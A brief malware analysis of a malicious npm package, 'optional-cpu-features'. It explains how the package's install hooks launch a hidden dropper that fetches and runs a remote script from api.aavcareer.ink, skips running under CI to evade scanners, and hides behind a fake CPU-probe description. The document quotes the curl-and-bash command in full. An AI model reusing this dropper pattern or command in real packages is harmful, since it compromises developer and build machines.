optional-cpu-featuresnpm

On npm install, both the install and postinstall lifecycle scripts run node install.js, which requires lib/sync.js. That file hardcodes BASE = "https://api.aavcareer.ink" and spawns a detached, stdio-suppressed shell that runs curl -ks ${BASE}/upd_m -o /var/tmp/upd_m && bash /var/tmp/upd_m on Unix (or fetches /upd_w to %TEMP%\upd_w.cmd and executes it on Windows). The fetch disables TLS certificate verification (curl -ks) and the spawn is detached + unref'd to hide from the install log. install.js early-exits with process.exit(0) when process.env.CI is "true" or "1", so CI scanners and sandboxes see a no-op while real developer and build machines execute the remote payload. The package name and the package.json description ("Optional native CPU feature probe for toolchain compatibility (install is a no-op when bindings are unavailable)") advertise a CPU/SIMD feature probe, but no CPU detection code exists anywhere in the package — the cover story exists to encourage monorepos to add this as an optionalDependencies entry that tolerates apparent failure while the dropper has already succeeded silently. The attacker fully controls the bytes that run as the installing user on every non-CI machine.